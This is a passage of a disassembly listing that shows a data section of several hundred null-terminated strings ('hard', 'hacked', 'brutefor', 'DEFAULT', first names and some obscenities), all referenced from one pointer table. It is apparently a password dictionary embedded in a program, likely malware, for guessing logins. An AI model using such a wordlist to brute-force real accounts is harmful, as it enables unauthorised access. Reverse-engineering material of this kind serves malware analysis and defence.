XREF: .nsp0:0042CE9Co align 4 aHard db 'hard',0 ; DATA XREF: .nsp0:0042CE98o align 4 aHappenin db 'happenin',0 ; DATA XREF: .nsp0:0042CE94o align 10h aHandjob db 'handjob',0 ; DATA XREF: .nsp0:0042CE90o aHandily db 'handily',0 ; DATA XREF: .nsp0:0042CE8Co aHandel db 'handel',0 ; DATA XREF: .nsp0:0042CE88o align 4 aHamster db 'hamster',0 ; DATA XREF: .nsp0:0042CE84o aHamlet db 'hamlet',0 ; DATA XREF: .nsp0:0042CE80o align 4 aHallowee db 'hallowee',0 ; DATA XREF: .nsp0:0042CE7Co align 4 aHair db 'hair',0 ; DATA XREF: .nsp0:0042CE78o align 4 aHagar db 'hagar',0 ; DATA XREF: .nsp0:0042CE74o align 4 aHacked db 'hacked',0 ; DATA XREF: .nsp0:0042CE70o align 4 aHack db 'hack',0 ; DATA XREF: .nsp0:0042CE6Co align 4 aGuntis db 'guntis',0 ; DATA XREF: .nsp0:0042CE68o align 4 aGumption db 'gumption',0 ; DATA XREF: .nsp0:0042CE64o align 4 aGuitar db 'guitar',0 ; DATA XREF: .nsp0:0042CE60o align 10h aGuess db 'guess',0 ; DATA XREF: .nsp0:0042CE5Co align 4 aGucci db 'gucci',0 ; DATA XREF: .nsp0:0042CE58o align 10h aGuardian db 'guardian',0 ; DATA XREF: .nsp0:0042CE54o align 4 aGryphon db 'gryphon',0 ; DATA XREF: .nsp0:0042CE50o aGroup db 'group',0 ; DATA XREF: .nsp0:0042CE4Co align 4 aGreen db 'green',0 ; DATA XREF: .nsp0:0042CE48o align 4 aGreat db 'great',0 ; DATA XREF: .nsp0:0042CE44o align 4 aGrant db 'grant',0 ; DATA XREF: .nsp0:0042CE40o align 4 aGrand db 'grand',0 ; DATA XREF: .nsp0:0042CE3Co align 4 aGrahm db 'grahm',0 ; DATA XREF: .nsp0:0042CE38o align 4 aGraham db 'graham',0 ; DATA XREF: .nsp0:0042CE34o align 4 aGrades db 'grades',0 ; DATA XREF: .nsp0:0042CE30o align 4 aGovermen db 'govermen',0 ; DATA XREF: .nsp0:0042CE2Co align 10h aGouge db 'gouge',0 ; DATA XREF: .nsp0:0042CE28o align 4 aGosling db 'gosling',0 ; DATA XREF: .nsp0:0042CE24o aGorges db 'gorges',0 ; DATA XREF: .nsp0:0042CE20o align 4 aGorgeous db 'gorgeous',0 ; DATA XREF: .nsp0:0042CE1Co align 4 aGood db 'good',0 ; DATA XREF: .nsp0:0042CE18o align 4 aGolfer db 'golfer',0 ; DATA XREF: .nsp0:0042CE14o align 4 aGolf db 'golf',0 ; DATA XREF: .nsp0:0042CE10o align 4 aGolden db 'golden',0 ; DATA XREF: .nsp0:0042CE0Co align 4 aGold db 'gold',0 ; DATA XREF: .nsp0:0042CE08o align 4 aGlacier db 'glacier',0 ; DATA XREF: .nsp0:0042CE04o aGirl db 'girl',0 ; DATA XREF: .nsp0:0042CE00o align 4 aGinger db 'ginger',0 ; DATA XREF: .nsp0:0042CDFCo align 4 aGina db 'gina',0 ; DATA XREF: .nsp0:0042CDF8o align 4 aGigabyte db 'gigabyte',0 ; DATA XREF: .nsp0:0042CDF4o align 4 aGibson db 'gibson',0 ; DATA XREF: .nsp0:0042CDF0o align 10h aGhost db 'ghost',0 ; DATA XREF: .nsp0:0042CDECo align 4 aGertrude db 'gertrude',0 ; DATA XREF: .nsp0:0042CDE8o align 4 aGerm db 'germ',0 ; DATA XREF: .nsp0:0042CDE4o align 4 aGeorge db 'george',0 ; DATA XREF: .nsp0:0042CDE0o align 4 aGauss db 'gauss',0 ; DATA XREF: .nsp0:0042CDDCo align 4 aGatt db 'gatt',0 ; DATA XREF: .nsp0:0042CDD8o align 4 aGatherin db 'gatherin',0 ; DATA XREF: .nsp0:0042CDD4o align 10h aGateway db 'gateway',0 ; DATA XREF: .nsp0:0042CDD0o aGarfield db 'garfield',0 ; DATA XREF: .nsp0:0042CDCCo align 4 aGardner db 'gardner',0 ; DATA XREF: .nsp0:0042CDC8o aGames db 'games',0 ; DATA XREF: .nsp0:0042CDC4o align 4 aGabriel db 'gabriel',0 ; DATA XREF: .nsp0:0042CDC0o aFungible db 'fungible',0 ; DATA XREF: .nsp0:0042CDBCo align 4 aFunction db 'function',0 ; DATA XREF: .nsp0:0042CDB8o align 4 aFudge db 'fudge',0 ; DATA XREF: .nsp0:0042CDB4o align 4 aFuckyou db 'fuckyou',0 ; DATA XREF: .nsp0:0042CDB0o aFuckme db 'fuckme',0 ; DATA XREF: .nsp0:0042CDACo align 4 aFucking db 'fucking',0 ; DATA XREF: .nsp0:0042CDA8o aFucker db 'fucker',0 ; DATA XREF: .nsp0:0042CDA4o align 4 aFuck db 'fuck',0 ; DATA XREF: .nsp0:0042CDA0o align 4 aFryguy db 'fryguy',0 ; DATA XREF: .nsp0:0042CD9Co align 4 aFrog db 'frog',0 ; DATA XREF: .nsp0:0042CD98o align 4 aFrighten db 'frighten',0 ; DATA XREF: .nsp0:0042CD94o align 10h aFriends db 'friends',0 ; DATA XREF: .nsp0:0042CD90o aFriend db 'friend',0 ; DATA XREF: .nsp0:0042CD8Co align 10h aFriday db 'friday',0 ; DATA XREF: .nsp0:0042CD88o align 4 aFrench db 'french',0 ; DATA XREF: .nsp0:0042CD84o align 10h aFreedom db 'freedom',0 ; DATA XREF: .nsp0:0042CD80o aFree db 'free',0 ; DATA XREF: .nsp0:0042CD7Co align 10h aFred db 'fred',0 ; DATA XREF: .nsp0:0042CD78o align 4 aFreak db 'freak',0 ; DATA XREF: .nsp0:0042CD74o align 10h aFrank db 'frank',0 ; DATA XREF: .nsp0:0042CD70o align 4 aFrance db 'france',0 ; DATA XREF: .nsp0:0042CD6Co align 10h aFoxtrot db 'foxtrot',0 ; DATA XREF: .nsp0:0042CD68o aFourier db 'fourier',0 ; DATA XREF: .nsp0:0042CD64o aForsythe db 'forsythe',0 ; DATA XREF: .nsp0:0042CD60o align 4 aFornicat db 'fornicat',0 ; DATA XREF: .nsp0:0042CD5Co align 4 aFormat db 'format',0 ; DATA XREF: .nsp0:0042CD58o align 10h aForm db 'form',0 ; DATA XREF: .nsp0:0042CD54o align 4 aForever db 'forever',0 ; DATA XREF: .nsp0:0042CD50o aForesigh db 'foresigh',0 ; DATA XREF: .nsp0:0042CD4Co align 4 aFord db 'ford',0 ; DATA XREF: .nsp0:0042CD48o align 4 aForce db 'force',0 ; DATA XREF: .nsp0:0042CD44o align 4 aFootball db 'football',0 ; DATA XREF: .nsp0:0042CD40o align 4 aFoolproo db 'foolproo',0 ; DATA XREF: .nsp0:0042CD3Co align 4 aFool db 'fool',0 ; DATA XREF: .nsp0:0042CD38o align 4 aFood db 'food',0 ; DATA XREF: .nsp0:0042CD34o align 4 aFlowers db 'flowers',0 ; DATA XREF: .nsp0:0042CD30o aFlower db 'flower',0 ; DATA XREF: .nsp0:0042CD2Co align 4 aFlorida db 'florida',0 ; DATA XREF: .nsp0:0042CD28o aFloat db 'float',0 ; DATA XREF: .nsp0:0042CD24o align 4 aFlakes db 'flakes',0 ; DATA XREF: .nsp0:0042CD20o align 4 aFishers db 'fishers',0 ; DATA XREF: .nsp0:0042CD1Co aFirewall db 'firewall',0 ; DATA XREF: .nsp0:0042CD18o align 10h aFire db 'fire',0 ; DATA XREF: .nsp0:0042CD14o align 4 aFinite db 'finite',0 ; DATA XREF: .nsp0:0042CD10o align 10h aFile db 'file',0 ; DATA XREF: sub_40CE55+1D0Fo ; sub_40CE55+1D85o ... align 4 aFight db 'fight',0 ; DATA XREF: .nsp0:0042CD08o align 10h aField db 'field',0 ; DATA XREF: .nsp0:0042CD04o align 4 aFidelity db 'fidelity',0 ; DATA XREF: .nsp0:0042CD00o align 4 aFerrari db 'ferrari',0 ; DATA XREF: .nsp0:0042CCFCo aFermat db 'fermat',0 ; DATA XREF: .nsp0:0042CCF8o align 4 aFender db 'fender',0 ; DATA XREF: .nsp0:0042CCF4o align 4 aFelicia db 'felicia',0 ; DATA XREF: .nsp0:0042CCF0o aFeds db 'feds',0 ; DATA XREF: .nsp0:0042CCECo align 4 aFear db 'fear',0 ; DATA XREF: .nsp0:0042CCE8o align 4 aFast db 'fast',0 ; DATA XREF: .nsp0:0042CCE4o align 4 aFart db 'fart',0 ; DATA XREF: .nsp0:0042CCE0o align 4 aFaraday db 'faraday',0 ; DATA XREF: .nsp0:0042CCDCo aFarad db 'farad',0 ; DATA XREF: .nsp0:0042CCD8o align 4 aFamily db 'family',0 ; DATA XREF: .nsp0:0042CCD4o align 4 aFalse db 'false',0 ; DATA XREF: .nsp0:0042CCD0o align 4 aFalcon db 'falcon',0 ; DATA XREF: .nsp0:0042CCCCo align 4 aFaith db 'faith',0 ; DATA XREF: .nsp0:0042CCC8o align 4 aFairway db 'fairway',0 ; DATA XREF: .nsp0:0042CCC4o aExtensio db 'extensio',0 ; DATA XREF: .nsp0:0042CCC0o align 4 aExplosiv db 'explosiv',0 ; DATA XREF: .nsp0:0042CCBCo align 4 aExplorer db 'explorer',0 ; DATA XREF: .nsp0:0042CCB8o align 10h aExplore db 'explore',0 ; DATA XREF: .nsp0:0042CCB4o aExplode db 'explode',0 ; DATA XREF: .nsp0:0042CCB0o aExpert db 'expert',0 ; DATA XREF: .nsp0:0042CCACo align 4 aEvelyn db 'evelyn',0 ; DATA XREF: .nsp0:0042CCA8o align 10h aEuclid db 'euclid',0 ; DATA XREF: .nsp0:0042CCA4o align 4 aEternity db 'eternity',0 ; DATA XREF: .nsp0:0042CCA0o align 4 aEstate db 'estate',0 ; DATA XREF: .nsp0:0042CC9Co align 4 aEstablis db 'establis',0 ; DATA XREF: .nsp0:0042CC98o align 4 aErsatz db 'ersatz',0 ; DATA XREF: .nsp0:0042CC94o align 10h aErotic db 'erotic',0 ; DATA XREF: .nsp0:0042CC90o align 4 aErin db 'erin',0 ; DATA XREF: .nsp0:0042CC8Co align 10h aErika db 'erika',0 ; DATA XREF: .nsp0:0042CC88o align 4 aErica db 'erica',0 ; DATA XREF: .nsp0:0042CC84o align 10h aEric db 'eric',0 ; DATA XREF: .nsp0:0042CC80o align 4 aErenity db 'erenity',0 ; DATA XREF: .nsp0:0042CC7Co aEnzyme db 'enzyme',0 ; DATA XREF: .nsp0:0042CC78o align 4 aEnterpri db 'enterpri',0 ; DATA XREF: .nsp0:0042CC74o align 4 aEnter db 'enter',0 ; DATA XREF: .nsp0:0042CC70o align 4 aEnglish db 'english',0 ; DATA XREF: .nsp0:0042CC6Co aEngland db 'england',0 ; DATA XREF: .nsp0:0042CC68o aEngineer db 'engineer',0 ; DATA XREF: .nsp0:0042CC64o align 4 aEngine db 'engine',0 ; DATA XREF: .nsp0:0042CC60o align 10h aEnemy db 'enemy',0 ; DATA XREF: .nsp0:0042CC5Co align 4 aEmmanuel db 'emmanuel',0 ; DATA XREF: .nsp0:0042CC58o align 4 aEmily db 'emily',0 ; DATA XREF: .nsp0:0042CC54o align 4 aEmerald db 'emerald',0 ; DATA XREF: .nsp0:0042CC50o aEmail db 'email',0 ; DATA XREF: .nsp0:0042CC4Co align 4 aEllen db 'ellen',0 ; DATA XREF: .nsp0:0042CC48o align 4 aElizabet db 'elizabet',0 ; DATA XREF: .nsp0:0042CC44o align 10h aElephant db 'elephant',0 ; DATA XREF: .nsp0:0042CC40o align 4 aElectron db 'electron',0 ; DATA XREF: .nsp0:0042CC3Co align 4 aElanor db 'elanor',0 ; DATA XREF: .nsp0:0042CC38o align 10h aElaine db 'elaine',0 ; DATA XREF: .nsp0:0042CC34o align 4 aEinstein db 'einstein',0 ; DATA XREF: .nsp0:0042CC30o align 4 aEinsiein db 'einsiein',0 ; DATA XREF: .nsp0:0042CC2Co align 10h aEileen db 'eileen',0 ; DATA XREF: .nsp0:0042CC28o align 4 aEiderdow db 'eiderdow',0 ; DATA XREF: .nsp0:0042CC24o align 4 aEgghead db 'egghead',0 ; DATA XREF: .nsp0:0042CC20o aEdwina db 'edwina',0 ; DATA XREF: .nsp0:0042CC1Co align 4 aEdwin db 'edwin',0 ; DATA XREF: .nsp0:0042CC18o align 4 aEducatio db 'educatio',0 ; DATA XREF: .nsp0:0042CC14o align 4 aEducation db 'education',0 ; DATA XREF: .nsp0:0042CC10o align 4 aEdition db 'edition',0 ; DATA XREF: .nsp0:0042CC0Co aEdit db 'edit',0 ; DATA XREF: .nsp0:0042CC08o align 4 aEdinburg db 'edinburg',0 ; DATA XREF: .nsp0:0042CC04o align 10h aEdges db 'edges',0 ; DATA XREF: .nsp0:0042CC00o align 4 aEddie db 'eddie',0 ; DATA XREF: .nsp0:0042CBFCo align 10h aEcho db 'echo',0 ; DATA XREF: .nsp0:0042CBF8o align 4 aEatme db 'eatme',0 ; DATA XREF: .nsp0:0042CBF4o align 10h aEasy db 'easy',0 ; DATA XREF: .nsp0:0042CBF0o align 4 aEasier db 'easier',0 ; DATA XREF: .nsp0:0042CBECo align 10h aEarth db 'earth',0 ; DATA XREF: .nsp0:0042CBE8o align 4 aEagle db 'eagle',0 ; DATA XREF: .nsp0:0042CBE4o align 10h aEager db 'eager',0 ; DATA XREF: .nsp0:0042CBE0o align 4 aDyke db 'dyke',0 ; DATA XREF: .nsp0:0042CBDCo align 10h aDungeon db 'dungeon',0 ; DATA XREF: .nsp0:0042CBD8o aDuncan db 'duncan',0 ; DATA XREF: .nsp0:0042CBD4o align 10h aDulce db 'dulce',0 ; DATA XREF: .nsp0:0042CBD0o align 4 aDuke db 'duke',0 ; DATA XREF: .nsp0:0042CBCCo align 10h aDuelist db 'duelist',0 ; DATA XREF: .nsp0:0042CBC8o aDude db 'dude',0 ; DATA XREF: .nsp0:0042CBC4o align 10h aDuck db 'duck',0 ; DATA XREF: .nsp0:0042CBC0o align 4 aDrought db 'drought',0 ; DATA XREF: .nsp0:0042CBBCo aDrive db 'drive',0 ; DATA XREF: .nsp0:0042CBB8o align 4 aDrdoom db 'drdoom',0 ; DATA XREF: .nsp0:0042CBB4o align 10h aDragon db 'dragon',0 ; DATA XREF: .nsp0:0042CBB0o align 4 aDownload db 'download',0 ; DATA XREF: .nsp0:0042CBACo align 4 aDope db 'dope',0 ; DATA XREF: .nsp0:0042CBA8o align 4 aDoors db 'doors',0 ; DATA XREF: .nsp0:0042CBA4o align 4 aDoor db 'door',0 ; DATA XREF: .nsp0:0042CBA0o align 4 aDoonesbu db 'doonesbu',0 ; DATA XREF: .nsp0:0042CB9Co align 4 aDoomsday db 'doomsday',0 ; DATA XREF: .nsp0:0042CB98o align 4 aDoomii db 'doomii',0 ; DATA XREF: .nsp0:0042CB94o align 4 aDoom2 db 'doom2',0 ; DATA XREF: .nsp0:0042CB90o align 4 aDoom db 'doom',0 ; DATA XREF: .nsp0:0042CB8Co align 4 aDong db 'dong',0 ; DATA XREF: .nsp0:0042CB88o align 4 aDollar db 'dollar',0 ; DATA XREF: .nsp0:0042CB84o align 4 aDoctor db 'doctor',0 ; DATA XREF: .nsp0:0042CB80o align 4 aDisplay db 'display',0 ; DATA XREF: .nsp0:0042CB7Co aDisney db 'disney',0 ; DATA XREF: .nsp0:0042CB78o align 4 aDiskette db 'diskette',0 ; DATA XREF: .nsp0:0042CB74o align 10h aDisk_0 db 'disk',0 ; DATA XREF: .nsp0:0042CB70o align 4 aDiscover db 'discover',0 ; DATA XREF: .nsp0:0042CB6Co align 4 aDisclose db 'disclose',0 ; DATA XREF: .nsp0:0042CB68o align 10h aDiscipli db 'discipli',0 ; DATA XREF: .nsp0:0042CB64o align 4 aDisc db 'disc',0 ; DATA XREF: .nsp0:0042CB60o align 4 aDirty db 'dirty',0 ; DATA XREF: .nsp0:0042CB5Co align 4 aDirector db 'director',0 ; DATA XREF: .nsp0:0042CB58o align 4 aDirect db 'direct',0 ; DATA XREF: .nsp0:0042CB54o align 10h aDipshit db 'dipshit',0 ; DATA XREF: .nsp0:0042CB50o aDinosaur db 'dinosaur',0 ; DATA XREF: .nsp0:0042CB4Co align 4 aDigital db 'digital',0 ; DATA XREF: .nsp0:0042CB48o aDieter db 'dieter',0 ; DATA XREF: .nsp0:0042CB44o align 4 aDiet db 'diet',0 ; DATA XREF: .nsp0:0042CB40o align 4 aDiehard db 'diehard',0 ; DATA XREF: .nsp0:0042CB3Co aDick db 'dick',0 ; DATA XREF: .nsp0:0042CB38o align 4 aDice db 'dice',0 ; DATA XREF: .nsp0:0042CB34o align 4 aDiane db 'diane',0 ; DATA XREF: .nsp0:0042CB30o align 4 aDiana db 'diana',0 ; DATA XREF: .nsp0:0042CB2Co align 4 aDiamond db 'diamond',0 ; DATA XREF: .nsp0:0042CB28o aDial db 'dial',0 ; DATA XREF: .nsp0:0042CB24o align 4 aDevice db 'device',0 ; DATA XREF: .nsp0:0042CB20o align 4 aDevelop db 'develop',0 ; DATA XREF: .nsp0:0042CB1Co aDesperat db 'desperat',0 ; DATA XREF: .nsp0:0042CB18o align 10h aDesktop db 'desktop',0 ; DATA XREF: .nsp0:0042CB14o aDesk db 'desk',0 ; DATA XREF: .nsp0:0042CB10o align 10h aDesiree db 'desiree',0 ; DATA XREF: .nsp0:0042CB0Co aDennis db 'dennis',0 ; DATA XREF: .nsp0:0042CB08o align 10h aDenise db 'denise',0 ; DATA XREF: .nsp0:0042CB04o align 4 aDemocrat db 'democrat',0 ; DATA XREF: .nsp0:0042CB00o align 4 aDeluge db 'deluge',0 ; DATA XREF: .nsp0:0042CAFCo align 4 aDelta db 'delta',0 ; DATA XREF: .nsp0:0042CAF8o align 4 aDefoe db 'defoe',0 ; DATA XREF: .nsp0:0042CAF4o align 4 aDefault_0 db 'DEFAULT',0 ; DATA XREF: .nsp0:0042CAF0o aDeck db 'deck',0 ; DATA XREF: .nsp0:0042CAE8o align 4 aDecember db 'december',0 ; DATA XREF: .nsp0:0042CAE4o align 4 aDebug db 'debug',0 ; DATA XREF: .nsp0:0042CAE0o align 10h aDeborah db 'deborah',0 ; DATA XREF: .nsp0:0042CADCo aDebbie db 'debbie',0 ; DATA XREF: .nsp0:0042CAD8o align 10h aDeathsta db 'deathsta',0 ; DATA XREF: .nsp0:0042CAD4o align 4 aDead db 'dead',0 ; DATA XREF: .nsp0:0042CAD0o align 4 aDawn db 'dawn',0 ; DATA XREF: .nsp0:0042CACCo align 4 aDave db 'dave',0 ; DATA XREF: .nsp0:0042CAC8o align 4 aData db 'data',0 ; DATA XREF: .nsp0:0042CAC4o align 4 aDarkaven db 'darkaven',0 ; DATA XREF: .nsp0:0042CAC0o align 4 aDark db 'dark',0 ; DATA XREF: .nsp0:0042CABCo align 10h aDapper db 'dapper',0 ; DATA XREF: .nsp0:0042CAB8o align 4 aDanny db 'danny',0 ; DATA XREF: .nsp0:0042CAB4o align 10h aDanielle db 'danielle',0 ; DATA XREF: .nsp0:0042CAB0o align 4 aDaniel db 'daniel',0 ; DATA XREF: .nsp0:0042CAACo align 4 aDancer db 'dancer',0 ; DATA XREF: .nsp0:0042CAA8o align 4 aDana db 'dana',0 ; DATA XREF: .nsp0:0042CAA4o align 4 aDaisy db 'daisy',0 ; DATA XREF: .nsp0:0042CAA0o align 4 aDaemon db 'daemon',0 ; DATA XREF: .nsp0:0042CA9Co align 4 aCynthia db 'cynthia',0 ; DATA XREF: .nsp0:0042CA98o aCyberspa db 'cyberspa',0 ; DATA XREF: .nsp0:0042CA94o align 4 aCyberpun db 'cyberpun',0 ; DATA XREF: .nsp0:0042CA90o align 4 aCyber db 'cyber',0 ; DATA XREF: .nsp0:0042CA8Co align 4 aCustomer db 'customer',0 ; DATA XREF: .nsp0:0042CA88o align 4 aCunt db 'cunt',0 ; DATA XREF: .nsp0:0042CA84o align 10h aCshrc db 'cshrc',0 ; DATA XREF: .nsp0:0042CA80o align 4 aCrystal db 'crystal',0 ; DATA XREF: .nsp0:0042CA7Co aCristina db 'cristina',0 ; DATA XREF: .nsp0:0042CA78o align 4 aCriminal db 'criminal',0 ; DATA XREF: .nsp0:0042CA74o align 4 aCrime db 'crime',0 ; DATA XREF: .nsp0:0042CA70o align 10h aCretin db 'cretin',0 ; DATA XREF: .nsp0:0042CA6Co align 4 aCreosote db 'creosote',0 ; DATA XREF: .nsp0:0042CA68o align 4 aCredit db 'credit',0 ; DATA XREF: .nsp0:0042CA64o align 4 aCreature db 'creature',0 ; DATA XREF: .nsp0:0042CA60o align 4 aCreation db 'creation',0 ; DATA XREF: .nsp0:0042CA5Co align 4 aCreate db 'create',0 ; DATA XREF: .nsp0:0042CA58o align 4 aCream db 'cream',0 ; DATA XREF: .nsp0:0042CA54o align 4 aCrackpot db 'crackpot',0 ; DATA XREF: .nsp0:0042CA50o align 10h aCrack db 'crack',0 ; DATA XREF: .nsp0:0042CA4Co align 4 aCowboy db 'cowboy',0 ; DATA XREF: .nsp0:0042CA48o align 10h aCouscous db 'couscous',0 ; DATA XREF: .nsp0:0042CA44o align 4 aCountry db 'country',0 ; DATA XREF: .nsp0:0042CA40o aCounters db 'counters',0 ; DATA XREF: .nsp0:0042CA3Co align 10h aCorrect db 'correct',0 ; DATA XREF: .nsp0:0042CA38o aCorneliu db 'corneliu',0 ; DATA XREF: .nsp0:0042CA34o align 4 aCopy db 'copy',0 ; DATA XREF: .nsp0:0042CA30o align 4 aCops db 'cops',0 ; DATA XREF: .nsp0:0042CA2Co align 4 aCopper db 'copper',0 ; DATA XREF: .nsp0:0042CA28o align 4 aCooper db 'cooper',0 ; DATA XREF: .nsp0:0042CA24o align 4 aCool db 'cool',0 ; DATA XREF: .nsp0:0042CA20o align 4 aCookie db 'cookie',0 ; DATA XREF: .nsp0:0042CA1Co align 4 aCookbook db 'cookbook',0 ; DATA XREF: .nsp0:0042CA18o align 10h aCook db 'cook',0 ; DATA XREF: .nsp0:0042CA14o align 4 aContinue db 'continue',0 ; DATA XREF: sub_40CE55+1F88o ; .nsp0:0042CA10o align 4 aConsole db 'console',0 ; DATA XREF: .nsp0:0042CA0Co aConserva db 'conserva',0 ; DATA XREF: .nsp0:0042CA08o align 4 aConnie db 'connie',0 ; DATA XREF: .nsp0:0042CA04o align 10h aCondom db 'condom',0 ; DATA XREF: .nsp0:0042C9FCo align 4 aCondo db 'condo',0 ; DATA XREF: .nsp0:0042C9F8o align 10h aComrades db 'comrades',0 ; DATA XREF: .nsp0:0042C9F4o align 4 aComrade db 'comrade',0 ; DATA XREF: .nsp0:0042C9F0o aComputin db 'computin',0 ; DATA XREF: .nsp0:0042C9ECo align 10h aCompany db 'company',0 ; DATA XREF: .nsp0:0042C9E8o aCommrade db 'commrade',0 ; DATA XREF: .nsp0:0042C9E4o align 4 aCommit db 'commit',0 ; DATA XREF: .nsp0:0042C9E0o align 4 aComics db 'comics',0 ; DATA XREF: .nsp0:0042C9DCo align 4 aCombat db 'combat',0 ; DATA XREF: .nsp0:0042C9D8o align 4 aColor db 'color',0 ; DATA XREF: .nsp0:0042C9D4o align 4 aCollins db 'collins',0 ; DATA XREF: .nsp0:0042C9D0o aCold db 'cold',0 ; DATA XREF: .nsp0:0042C9CCo align 4 aCola db 'cola',0 ; DATA XREF: .nsp0:0042C9C8o align 4 aCoke db 'coke',0 ; DATA XREF: .nsp0:0042C9C4o align 4 aCoin db 'coin',0 ; DATA XREF: .nsp0:0042C9C0o align 4 aCoffee db 'coffee',0 ; DATA XREF: .nsp0:0042C9BCo align 4 aCodeword db 'codeword',0 ; DATA XREF: .nsp0:0042C9B8o align 10h aCodename db 'codename',0 ; DATA XREF: .nsp0:0042C9B4o align 4 aCode db 'code',0 ; DATA XREF: .nsp0:0042C9B0o align 4 aCock db 'cock',0 ; DATA XREF: .nsp0:0042C9ACo align 4 aCocainco db 'cocainco',0 ; DATA XREF: .nsp0:0042C9A8o align 4 aCocacola db 'cocacola',0 ; DATA XREF: .nsp0:0042C9A4o align 4 aCoast db 'coast',0 ; DATA XREF: .nsp0:0042C9A0o align 4 aClusters db 'clusters',0 ; DATA XREF: .nsp0:0042C99Co align 4 aCluster db 'cluster',0 ; DATA XREF: .nsp0:0042C998o aClinton db 'clinton',0 ; DATA XREF: .nsp0:0042C994o aCleavage db 'cleavage',0 ; DATA XREF: .nsp0:0042C990o align 4 aClaymore db 'claymore',0 ; DATA XREF: .nsp0:0042C98Co align 10h aClaudia db 'claudia',0 ; DATA XREF: .nsp0:0042C988o aClassic db 'classic',0 ; DATA XREF: .nsp0:0042C984o aClasses db 'classes',0 ; DATA XREF: .nsp0:0042C980o aClass db 'class',0 ; DATA XREF: .nsp0:0042C97Co align 10h aCindy db 'cindy',0 ; DATA XREF: .nsp0:0042C978o align 4 aCigarett db 'cigarett',0 ; DATA XREF: .nsp0:0042C974o align 4 aCigar db 'cigar',0 ; DATA XREF: .nsp0:0042C970o align 4 aChristy db 'christy',0 ; DATA XREF: .nsp0:0042C96Co aChristin db 'christin',0 ; DATA XREF: .nsp0:0042C968o align 10h aChris db 'chris',0 ; DATA XREF: .nsp0:0042C964o align 4 aChip db 'chip',0 ; DATA XREF: .nsp0:0042C960o align 10h aChester db 'chester',0 ; DATA XREF: .nsp0:0042C95Co aChess db 'chess',0 ; DATA XREF: .nsp0:0042C958o align 10h aChemistr db 'chemistr',0 ; DATA XREF: .nsp0:0042C954o align 4 aChem db 'chem',0 ; DATA XREF: .nsp0:0042C950o align 4 aChat_0 db 'chat',0 ; DATA XREF: .nsp0:0042C94Co align 4 aCharon db 'charon',0 ; DATA XREF: .nsp0:0042C948o align 4 aCharming db 'charming',0 ; DATA XREF: .nsp0:0042C944o align 10h aCharlie db 'charlie',0 ; DATA XREF: .nsp0:0042C940o aCharles db 'charles',0 ; DATA XREF: .nsp0:0042C93Co aCharity db 'charity',0 ; DATA XREF: .nsp0:0042C938o aChange db 'change',0 ; DATA XREF: .nsp0:0042C934o align 10h aCerulean db 'cerulean',0 ; DATA XREF: .nsp0:0042C930o align 4 aCeltics db 'celtics',0 ; DATA XREF: .nsp0:0042C92Co aCeltic db 'celtic',0 ; DATA XREF: .nsp0:0042C928o align 4 aCelt db 'celt',0 ; DATA XREF: .nsp0:0042C924o align 4 aCecily db 'cecily',0 ; DATA XREF: .nsp0:0042C920o align 4 aCayuga db 'cayuga',0 ; DATA XREF: .nsp0:0042C91Co align 4 aCave db 'cave',0 ; DATA XREF: .nsp0:0042C918o align 4 aCathy db 'cathy',0 ; DATA XREF: .nsp0:0042C914o align 4 aCatholic db 'catholic',0 ; DATA XREF: .nsp0:0042C910o align 10h aCatherin db 'catherin',0 ; DATA XREF: .nsp0:0042C90Co align 4 aCastle db 'castle',0 ; DATA XREF: .nsp0:0042C908o align 4 aCash db 'cash',0 ; DATA XREF: .nsp0:0042C904o align 4 aCascades db 'cascades',0 ; DATA XREF: .nsp0:0042C900o align 4 aCarson db 'carson',0 ; DATA XREF: .nsp0:0042C8FCo align 10h aCarrie db 'carrie',0 ; DATA XREF: .nsp0:0042C8F8o align 4 aCaroline db 'caroline',0 ; DATA XREF: .nsp0:0042C8F4o align 4 aCarolina db 'carolina',0 ; DATA XREF: .nsp0:0042C8F0o align 10h aCarole db 'carole',0 ; DATA XREF: .nsp0:0042C8ECo align 4 aCarol db 'carol',0 ; DATA XREF: .nsp0:0042C8E8o align 10h aCarmen db 'carmen',0 ; DATA XREF: .nsp0:0042C8E4o align 4 aCarla db 'carla',0 ; DATA XREF: .nsp0:0042C8E0o align 10h aCaren db 'caren',0 ; DATA XREF: .nsp0:0042C8DCo align 4 aCardinal db 'cardinal',0 ; DATA XREF: .nsp0:0042C8D8o align 4 aCard db 'card',0 ; DATA XREF: .nsp0:0042C8D4o align 4 aCapture db 'capture',0 ; DATA XREF: .nsp0:0042C8D0o aCaptain db 'captain',0 ; DATA XREF: .nsp0:0042C8CCo aCantor db 'cantor',0 ; DATA XREF: .nsp0:0042C8C8o align 4 aCandy db 'candy',0 ; DATA XREF: .nsp0:0042C8C4o align 4 aCandi db 'candi',0 ; DATA XREF: .nsp0:0042C8C0o align 4 aCamping db 'camping',0 ; DATA XREF: .nsp0:0042C8BCo aCampanil db 'campanil',0 ; DATA XREF: .nsp0:0042C8B8o align 4 aCamille db 'camille',0 ; DATA XREF: .nsp0:0042C8B4o aCaliforn db 'californ',0 ; DATA XREF: .nsp0:0042C8B0o align 4 aButthead db 'butthead',0 ; DATA XREF: .nsp0:0042C8ACo align 4 aButt db 'butt',0 ; DATA XREF: .nsp0:0042C8A8o align 10h aButch db 'butch',0 ; DATA XREF: .nsp0:0042C8A4o align 4 aBurn db 'burn',0 ; DATA XREF: .nsp0:0042C8A0o align 10h aBurgess db 'burgess',0 ; DATA XREF: .nsp0:0042C89Co aBung db 'bung',0 ; DATA XREF: .nsp0:0042C898o align 10h aBumbling db 'bumbling',0 ; DATA XREF: .nsp0:0042C894o align 4 aBullshit db 'bullshit',0 ; DATA XREF: .nsp0:0042C890o align 4 aBulls db 'bulls',0 ; DATA XREF: .nsp0:0042C88Co align 10h aBrutefor db 'brutefor',0 ; DATA XREF: .nsp0:0042C888o align 4 aBrute db 'brute',0 ; DATA XREF: .nsp0:0042C884o align 4 aBrunette db 'brunette',0 ; DATA XREF: .nsp0:0042C880o align 10h aBrothel db 'brothel',0 ; DATA XREF: .nsp0:0042C87Co aBroadway db 'broadway',0 ; DATA XREF: .nsp0:0042C878o align 4 aBridget db 'bridget',0 ; DATA XREF: .nsp0:0042C874o aBrian db 'brian',0 ; DATA XREF: .nsp0:0042C870o align 4 aBrenda db 'brenda',0 ; DATA XREF: .nsp0:0042C86Co align 4 aBreast db 'breast',0 ; DATA XREF: .nsp0:0042C868o align 4 aBreak db 'break',0 ; DATA XREF: .nsp0:0042C864o align 4 aBravo db 'bravo',0 ; DATA XREF: .nsp0:0042C860o align 4 aBrandy db 'brandy',0 ; DATA XREF: .nsp0:0042C85Co align 4 aBrandi db 'brandi',0 ; 